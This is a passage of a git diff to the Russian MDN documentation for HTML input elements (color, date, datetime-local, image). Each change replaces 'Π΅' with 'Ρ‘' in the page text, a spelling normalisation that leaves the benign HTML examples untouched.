ΡˆΠ΅ΡΡ‚Π½Π°Π΄Ρ†Π°Ρ‚Π΅Ρ€ΠΈΡ‡Π½Ρ‹Π΅ ΠΏΠ΅Ρ€Π΅Π΄ установкой значСния.</p>
<h3 id="ΠžΡ‚ΡΠ»Π΅ΠΆΠΈΠ²Π°Π½ΠΈΠ΅_ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ_Ρ†Π²Π΅Ρ‚Π°">ΠžΡ‚ΡΠ»Π΅ΠΆΠΈΠ²Π°Π½ΠΈΠ΅ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠΉ Ρ†Π²Π΅Ρ‚Π°</h3>
@@ -109,7 +109,7 @@ function watchColorPicker(event) {
<h2 id="ΠŸΡ€ΠΈΠΌΠ΅Ρ€">ΠŸΡ€ΠΈΠΌΠ΅Ρ€</h2>
-<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ создадим ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π΄Π΅Π»Π°Π΅Ρ‚ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ большС с Ρ†Π²Π΅Ρ‚ΠΎΠΌ Π²Ρ…ΠΎΠ΄Π½ΠΎΠ³ΠΎ сигнала ΠΏΡƒΡ‚Π΅ΠΌ отслСТивания {{domxref("HTMLElement/change_event", "change")}} ΠΈ {{domxref("HTMLElement/input_event", "input")}} событий, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Π·ΡΡ‚ΡŒ Π½ΠΎΠ²Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚ ΠΈ ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΡ‚ΡŒ Π΅Π³ΠΎ ΠΊ ΠΊΠ°ΠΆΠ΄ΠΎΠΌΡƒ {{HTMLElement("Π ")}} элСмСнта Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅.</p>
+<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ создадим ΠΏΡ€ΠΈΠΌΠ΅Ρ€, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π΄Π΅Π»Π°Π΅Ρ‚ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ большС с Ρ†Π²Π΅Ρ‚ΠΎΠΌ Π²Ρ…ΠΎΠ΄Π½ΠΎΠ³ΠΎ сигнала ΠΏΡƒΡ‚Ρ‘ΠΌ отслСТивания {{domxref("HTMLElement/change_event", "change")}} ΠΈ {{domxref("HTMLElement/input_event", "input")}} событий, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π²Π·ΡΡ‚ΡŒ Π½ΠΎΠ²Ρ‹ΠΉ Ρ†Π²Π΅Ρ‚ ΠΈ ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΡ‚ΡŒ Π΅Π³ΠΎ ΠΊ ΠΊΠ°ΠΆΠ΄ΠΎΠΌΡƒ {{HTMLElement("Π ")}} элСмСнта Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅.</p>
<h3 id="HTML">HTML</h3>
diff --git a/files/ru/web/html/element/input/date/index.html b/files/ru/web/html/element/input/date/index.html
index c69a1eba71..b743e3bd44 100644
--- a/files/ru/web/html/element/input/date/index.html
+++ b/files/ru/web/html/element/input/date/index.html
@@ -52,7 +52,7 @@ translation_of: Web/HTML/Element/input/date
<h2 id="Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅">Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅</h2>
-<p>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ {{domxref("DOMString")}}, ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠΉ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π΄Π°Ρ‚Ρ‹ Π²Π²Π΅Π΄Π΅Π½Π½ΠΎΠΉ Π² input. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ для элСмСнта с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ добавлСния Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° Π² {{htmlattrxref("value", "input")}}, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€:</p>
+<p>Π’ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ {{domxref("DOMString")}}, ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠΉ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π΄Π°Ρ‚Ρ‹ Π²Π²Π΅Π΄Ρ‘Π½Π½ΠΎΠΉ Π² input. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ для элСмСнта с ΠΏΠΎΠΌΠΎΡ‰ΡŒΡŽ добавлСния Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π° Π² {{htmlattrxref("value", "input")}}, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€:</p>
<pre class="brush: html notranslate">&lt;input id="date" type="date" value="2017-06-01"&gt;</pre>
@@ -123,7 +123,7 @@ console.log(dateControl.valueAsNumber); // prints 1496275200000, a JavaScript ti
<h2 id="ИспользованиС_ΠΏΠΎΠ»Π΅ΠΉ_Π²Π²ΠΎΠ΄Π°_c_Ρ‚ΠΈΠΏΠΎΠΌ_date">ИспользованиС ΠΏΠΎΠ»Π΅ΠΉ Π²Π²ΠΎΠ΄Π° c Ρ‚ΠΈΠΏΠΎΠΌ date</h2>
-<p>На ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ взгляд, элСмСнт <code>&lt;input type="date"&gt;</code> выглядит Π·Π°ΠΌΠ°Π½Ρ‡ΠΈΠ²ΠΎΒ β€” он прСдоставляСт лСгкий графичСский интСрфСйс для Π²Ρ‹Π±ΠΎΡ€Π° Π΄Π°Ρ‚Ρ‹, Π½ΠΎΡ€ΠΌΠ°Π»ΠΈΠ·ΡƒΠ΅Ρ‚ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ Π΄Π°Ρ‚Ρ‹, отправляСмой Π½Π° сСрвСр нСзависимо ΠΎΡ‚ Π»ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹Ρ… настроСк ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ. Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅, Π΅ΡΡ‚ΡŒ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ с <code>&lt;input type="date"&gt;</code> Π² связи с ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π½ΠΎΠΉ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΎΠΉ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ².</p>
+<p>На ΠΏΠ΅Ρ€Π²Ρ‹ΠΉ взгляд, элСмСнт <code>&lt;input type="date"&gt;</code> выглядит Π·Π°ΠΌΠ°Π½Ρ‡ΠΈΠ²ΠΎΒ β€” он прСдоставляСт лёгкий графичСский интСрфСйс для Π²Ρ‹Π±ΠΎΡ€Π° Π΄Π°Ρ‚Ρ‹, Π½ΠΎΡ€ΠΌΠ°Π»ΠΈΠ·ΡƒΠ΅Ρ‚ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ Π΄Π°Ρ‚Ρ‹, отправляСмой Π½Π° сСрвСр нСзависимо ΠΎΡ‚ Π»ΠΎΠΊΠ°Π»ΡŒΠ½Ρ‹Ρ… настроСк ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ. Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅, Π΅ΡΡ‚ΡŒ ΠΏΡ€ΠΎΠ±Π»Π΅ΠΌΡ‹ с <code>&lt;input type="date"&gt;</code> Π² связи с ΠΎΠ³Ρ€Π°Π½ΠΈΡ‡Π΅Π½Π½ΠΎΠΉ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΎΠΉ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ΠΎΠ².</p>
<p>Π’ этом Ρ€Π°Π·Π΄Π΅Π»Π΅ ΠΌΡ‹ посмотрим Π½Π° простыС, Π°Β Π·Π°Ρ‚Π΅ΠΌ ΠΈ Π±ΠΎΠ»Π΅Π΅ слоТныС способы использования <code>&lt;input type="date"&gt;</code>, ΠΈ ΠΏΠΎΠ·ΠΆΠ΅ Π΄Π°Π΄ΠΈΠΌ совСты ΠΏΠΎ ΡƒΠΌΠ΅Π½ΡŒΡˆΠ΅Π½ΠΈΡŽ влияния ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠΈ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°ΠΌΠΈ (смотритС {{anch("Handling browser support")}}).</p>
diff --git a/files/ru/web/html/element/input/datetime-local/index.html b/files/ru/web/html/element/input/datetime-local/index.html
index 63ad6800fc..7a5f83d340 100644
--- a/files/ru/web/html/element/input/datetime-local/index.html
+++ b/files/ru/web/html/element/input/datetime-local/index.html
@@ -5,7 +5,7 @@ translation_of: Web/HTML/Element/input/datetime-local
---
<p>{{HTMLRef}}</p>
-<p>{{htmlelement("input")}} элСмСнт Ρ‚ΠΈΠΏΠ° <strong><code>datetime-local</code></strong> создаСт поля Π²Π²ΠΎΠ΄Π°, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰ΠΈΠ΅ Π»Π΅Π³ΠΊΠΎ ввСсти Π΄Π°Ρ‚Ρƒ ΠΈ врСмя β€” Β Π³ΠΎΠ΄, мСсяц, дСнь, часы ΠΈ ΠΌΠΈΠ½ΡƒΡ‚Ρ‹.</p>
+<p>{{htmlelement("input")}} элСмСнт Ρ‚ΠΈΠΏΠ° <strong><code>datetime-local</code></strong> создаёт поля Π²Π²ΠΎΠ΄Π°, ΠΏΠΎΠ·Π²ΠΎΠ»ΡΡŽΡ‰ΠΈΠ΅ Π»Π΅Π³ΠΊΠΎ ввСсти Π΄Π°Ρ‚Ρƒ ΠΈ врСмя β€” Β Π³ΠΎΠ΄, мСсяц, дСнь, часы ΠΈ ΠΌΠΈΠ½ΡƒΡ‚Ρ‹.</p>
<p>Π˜Π½Ρ‚Π΅Ρ€Ρ„Π΅ΠΉΡ управлСния Π²Π°Ρ€ΡŒΠΈΡ€ΡƒΠ΅Ρ‚ΡΡ ΠΎΡ‚ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° ΠΊ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ, Π½Π° Π΄Π°Π½Π½Ρ‹ΠΉ ΠΌΠΎΠΌΠ΅Π½Ρ‚ ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΊΠ° носит Ρ„Ρ€Π°Π³ΠΌΠ΅Π½Ρ‚Π°Ρ€Π½Ρ‹ΠΉ Ρ…Π°Ρ€Π°ΠΊΡ‚Π΅Ρ€, Ρ‚ΠΎΠ»ΡŒΠΊΠΎ с Chrome/OperaΒ  ΠΈ EDGE Π½Π° Ρ€Π°Π±ΠΎΡ‡Π΅ΠΌ столС β€” ΠΈ Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²ΠΎ соврСмСнных ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹Ρ… вСрсиях Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° β€” Π½Π°Π»ΠΈΡ‡ΠΈΠ΅ ΠΏΠΎΠ»Π΅Π·Π½ΠΎΠΉ Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΠΈ. Π’ Π΄Ρ€ΡƒΠ³ΠΈΡ… Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°Ρ… элСмСнт управлСния ΡΠ²ΠΎΠ΄ΠΈΡ‚ΡŒΡΡ Π΄ΠΎ простого <code><a href="/en-US/docs/Web/HTML/Element/input/text">&lt;input type="text"&gt;</a></code>.</p>
@@ -19,7 +19,7 @@ translation_of: Web/HTML/Element/input/datetime-local
<p><img alt="" src="https://mdn.mozillademos.org/files/14949/datetime-local-chrome.png" style="display: block; height: 224px; margin: 0px auto; width: 280px;"></p>
-<p>Π’ Edge <code>datetime-local</code> элСмСнт управлСния выглядит ΠΊΠ°ΠΊ Π½Π° ΡΠΊΡ€ΠΈΠ½ΡˆΠΎΡ‚Π΅ Π½ΠΈΠΆΠ΅. Клик Π½Π° Π΄Π°Ρ‚Π΅ ΠΈ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ ΠΎΡ‚ΠΎΠ±Ρ€Π°Π·ΠΈΡ‚ Π΄Π²Π° ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Ρ… поля Π²Ρ‹Π±ΠΎΡ€Π°, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π’Ρ‹ ΠΌΠΎΠ³Π»ΠΈ Π»Π΅Π³ΠΊΠΎ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π΄Π°Ρ‚Ρƒ ΠΈ врСмя. Π’ΠΎ Π΅ΡΡ‚ΡŒ, ΠΏΠΎ сути, ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅ΠΌ Π΄Π²Π° элСмСнта <code>date</code> ΠΈ <code>time</code>, ΠΎΠ±ΡŠΠ΅Π΄ΠΈΠ½Π΅Π½Π½Ρ‹Ρ… Π² ΠΎΠ΄ΠΈΠ½:</p>
+<p>Π’ Edge <code>datetime-local</code> элСмСнт управлСния выглядит ΠΊΠ°ΠΊ Π½Π° ΡΠΊΡ€ΠΈΠ½ΡˆΠΎΡ‚Π΅ Π½ΠΈΠΆΠ΅. Клик Π½Π° Π΄Π°Ρ‚Π΅ ΠΈ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ ΠΎΡ‚ΠΎΠ±Ρ€Π°Π·ΠΈΡ‚ Π΄Π²Π° ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½Ρ‹Ρ… поля Π²Ρ‹Π±ΠΎΡ€Π°, Ρ‡Ρ‚ΠΎΠ±Ρ‹ Π’Ρ‹ ΠΌΠΎΠ³Π»ΠΈ Π»Π΅Π³ΠΊΠΎ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π΄Π°Ρ‚Ρƒ ΠΈ врСмя. Π’ΠΎ Π΅ΡΡ‚ΡŒ, ΠΏΠΎ сути, ΠΏΠΎΠ»ΡƒΡ‡Π°Π΅ΠΌ Π΄Π²Π° элСмСнта <code>date</code> ΠΈ <code>time</code>, ΠΎΠ±ΡŠΠ΅Π΄ΠΈΠ½Ρ‘Π½Π½Ρ‹Ρ… Π² ΠΎΠ΄ΠΈΠ½:</p>
<p><img alt="" src="https://mdn.mozillademos.org/files/14953/datetime-local-picker-edge1.png" style="display: block; height: 398px; margin: 0px auto; width: 320px;"></p>
@@ -52,14 +52,14 @@ translation_of: Web/HTML/Element/input/datetime-local
<h2 id="Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅">Π—Π½Π°Ρ‡Π΅Π½ΠΈΠ΅</h2>
-<p>Β {{domxref("DOMString")}} прСдставлСниС значСния Π΄Π°Ρ‚Ρ‹, Π²Π²Π΅Π΄Π΅Π½Π½ΠΎΠΉ Π²ΠΎ Π²Ρ…ΠΎΠ΄Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ для Π²Π²ΠΎΠ΄Π°, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ Π΄Π°Ρ‚Ρƒ Π²Π½ΡƒΡ‚Ρ€ΠΈ {{htmlattrxref("value", "input")}} Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°, ΠΊΠ°ΠΊ:</p>
+<p>Β {{domxref("DOMString")}} прСдставлСниС значСния Π΄Π°Ρ‚Ρ‹, Π²Π²Π΅Π΄Ρ‘Π½Π½ΠΎΠΉ Π²ΠΎ Π²Ρ…ΠΎΠ΄Π½Ρ‹Π΅ Π΄Π°Π½Π½Ρ‹Π΅. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΡΡ‚Π°Π½ΠΎΠ²ΠΈΡ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ для Π²Π²ΠΎΠ΄Π°, Π²ΠΊΠ»ΡŽΡ‡Π°Ρ Π΄Π°Ρ‚Ρƒ Π²Π½ΡƒΡ‚Ρ€ΠΈ {{htmlattrxref("value", "input")}} Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Π°, ΠΊΠ°ΠΊ:</p>
<pre class="brush: html">&lt;label for="party"&gt;Enter a date and time for your party booking:&lt;/label&gt;
&lt;input id="party" type="datetime-local" name="partydate" value="2017-06-01T08:30"&gt;</pre>
<p>{{ EmbedLiveSample('Value', 600, 60) }}</p>
-<p>Одна Π²Π΅Ρ‰ΡŒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅ΠΌΡ‹ΠΉ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ Π΄Π°Ρ‚Ρ‹ отличаСтся ΠΎΡ‚ фактичСского <code>значСния</code> β€” ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅ΠΌΡ‹ΠΉ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ Π΄Π°Ρ‚Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π±Ρ€Π°Π½ Π½Π° основС установлСнного языкового стандарта ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΎΠ½Π½ΠΎΠΉ систСмы ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ, Π² Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ Π΄Π°Ρ‚Π°<code>Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅</code> всСгда форматируСтся <code>yyyy-MM-ddThh:mm</code>. Когда Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ пСрСдаСтся Π½Π° сСрвСр, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, это Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ <code>partydate=2017-06-01T08:30</code>.</p>
+<p>Одна Π²Π΅Ρ‰ΡŒ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅ΠΌΡ‹ΠΉ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ Π΄Π°Ρ‚Ρ‹ отличаСтся ΠΎΡ‚ фактичСского <code>значСния</code> β€” ΠΎΡ‚ΠΎΠ±Ρ€Π°ΠΆΠ°Π΅ΠΌΡ‹ΠΉ Ρ„ΠΎΡ€ΠΌΠ°Ρ‚ Π΄Π°Ρ‚Ρ‹ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π±Ρ€Π°Π½ Π½Π° основС установлСнного языкового стандарта ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΠΎΠ½Π½ΠΎΠΉ систСмы ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»Ρ, Π² Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ Π΄Π°Ρ‚Π°<code>Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅</code> всСгда форматируСтся <code>yyyy-MM-ddThh:mm</code>. Когда Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ пСрСдаётся Π½Π° сСрвСр, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€, это Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ <code>partydate=2017-06-01T08:30</code>.</p>
<div class="note">
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Ρ‚Π°ΠΊΠΆΠ΅ ΠΈΠΌΠ΅ΠΉΡ‚Π΅ Π² Π²ΠΈΠ΄Ρƒ, Ρ‡Ρ‚ΠΎ Ссли Ρ‚Π°ΠΊΠΈΠ΅ Π΄Π°Π½Π½Ρ‹Π΅ ΠΏΠΎΡΡ‚ΡƒΠΏΠ°ΡŽΡ‚ Ρ‡Π΅Ρ€Π΅Π· http-запрос Get, Π΄Π²ΠΎΠ΅Ρ‚ΠΎΡ‡ΠΈΠ΅ Π½ΡƒΠΆΠ½ΠΎΒ ΡΠΊΡ€Π°Π½ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒΒ Π΄Π»Ρ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ Π² ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Ρ‹ URL, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ <code>partydate=2017-06-01T08%3A30</code>.</p>
diff --git a/files/ru/web/html/element/input/image/index.html b/files/ru/web/html/element/input/image/index.html
index 08b69b943a..d0045be0cd 100644
--- a/files/ru/web/html/element/input/image/index.html
+++ b/files/ru/web/html/element/input/image/index.html
@@ -8,7 +8,7 @@ translation_of: Web/HTML/Element/input/image
<table class="properties">
<tbody>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½ΠΎΠ΅ содСрТимоС</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½ΠΎΠ΅ содСрТимоС</th>
<td>НСту, это пустой элСмСнт.</td>
</tr>
<tr>
@@ -16,7 +16,7 @@ translation_of: Web/HTML/Element/input/image
<td>ΠžΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ ΠΎΡ‚ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉΡΡ Ρ‚Π΅Π³, ΠΈ ΠΎΠ±ΡΠ·Π°Ρ‚Π΅Π»ΡŒΠ½ΠΎ отсутствуСт Π·Π°ΠΊΡ€Ρ‹Π²Π°ΡŽΡ‰ΠΈΠΉ.</td>
</tr>
<tr>
- <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΠ΅Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ элСмСнты</th>
+ <th scope="row">Π Π°Π·Ρ€Π΅ΡˆΡ‘Π½Π½Ρ‹Π΅ Ρ€ΠΎΠ΄ΠΈΡ‚Π΅Π»ΡŒΡΠΊΠΈΠ΅ элСмСнты</th>
<td>Π›ΡŽΠ±ΠΎΠΉ элСмСнт, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ доступСн Ρ„Ρ€Π°Π·ΠΎΠΎΠ±Ρ€Π°Π·ΡƒΡŽΡ‰ΠΈΠΉ ΠΊΠΎΠ½Ρ‚Π΅Π½Ρ‚ (<a href="/en-US/docs/HTML/Content_categories#Phrasing_content">phrasing content</a>).</td>
</tr>
<tr>
diff --git a/files/ru/web/html/element/input/index.html b/files/ru/web/html/element/input/index.html
index c949910b8d..d868c942c6 100644
--- a/files/ru/web/html/element/input/index.html
+++ b/files/ru/web/html/element/input/index.html
@@ -32,7 +32,7 @@ translation_of: Web/HTML/Element/input
<dt>{{htmlattrdef("type")}}</dt>
<dd>Π’ΠΈΠΏ элСмСнта для отобраТСния. Если этот Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ Π½Π΅ ΡƒΠΊΠ°Π·Π°Π½, ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ <code>text</code>. Π’ΠΎΠ·ΠΌΠΎΠΆΠ½Ρ‹ΠΌΠΈ значСниями ΡΠ²Π»ΡΡŽΡ‚ΡΡ:
<ul>
- <li><code>button</code>: Кнопка Π±Π΅Π· ΠΏΡ€Π΅Π΄ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠ³ΠΎ повСдСния.</li>
+ <li><code>button</code>: Кнопка Π±Π΅Π· ΠΏΡ€Π΅Π΄ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠ³ΠΎ повСдСния.</li>
<li><code>checkbox</code>: Π€Π»Π°ΠΆΠΎΠΊ («чСкбокс»). Π‘Π»Π΅Π΄ΡƒΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚Β <strong>value </strong>для опрСдСлСния значСния, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΎΡ‚Π΄Π°Π½ΠΎ этим элСмСнтом. Π˜ΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠΉΡ‚Π΅ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <strong>checked</strong>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ, Π΄ΠΎΠ»ΠΆΠ΅Π½ Π»ΠΈ Ρ„Π»Π°ΠΆΠΎΠΊ Π±Ρ‹Ρ‚ΡŒ выставлСн. МоТно Ρ‚Π°ΠΊΠΆΠ΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π°Ρ‚Ρ€ΠΈΠ±ΡƒΡ‚ <strong>indeterminate</strong>, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠΊΠ°Π·Π°Ρ‚ΡŒ, Ρ‡Ρ‚ΠΎ Ρ„Π»Π°ΠΆΠΎΠΊ находится Π² Π½Π΅ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΌ состоянии (Π½Π° Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π΅ ΠΏΠ»Π°Ρ‚Ρ„ΠΎΡ€ΠΌ ΠΏΡ€ΠΈ этом рисуСтся Π³ΠΎΡ€ΠΈΠ·ΠΎΠ½Ρ‚Π°Π»ΡŒΠ½Π°Ρ линия ΠΏΠΎΠΏΠ΅Ρ€Ρ‘ΠΊ Ρ„Π»Π°ΠΆΠΊΠ°).</li>
<li><code>color</code>: {{HTMLVersionInline("5")}} Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ управлСния Ρ†Π²Π΅Ρ‚ΠΎΠΌ. ΠŸΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒΡΠΊΠΈΠΉ интСрфСйс Π²Ρ‹Π±ΠΎΡ€Π° Ρ†Π²Π΅Ρ‚Π° Π½Π΅ ΠΈΠΌΠ΅Π΅Ρ‚ Π½ΠΈΠΊΠ°ΠΊΠΈΡ… Π΄Ρ€ΡƒΠ³ΠΈΡ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ, ΠΊΡ€ΠΎΠΌΠ΅ принятия простых Ρ†Π²Π΅Ρ‚ΠΎΠ² Π² Π²ΠΈΠ΄Π΅ тСкста (<a href="http://www.w3.org/TR/html5/forms.html#color-state-(type=color)">большС ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΠΈ</a>).</li>
<li><code>date</code>: {{HTMLVersionInline("5")}} Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ управлСния для Π²Π²ΠΎΠ΄Π° Π΄Π°Ρ‚Ρ‹ (Π³ΠΎΠ΄, мСсяц ΠΈ дСнь, Π±Π΅Π· Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ).</li>
@@ -40,11 +40,11 @@ translation_of: Web/HTML/Element/input
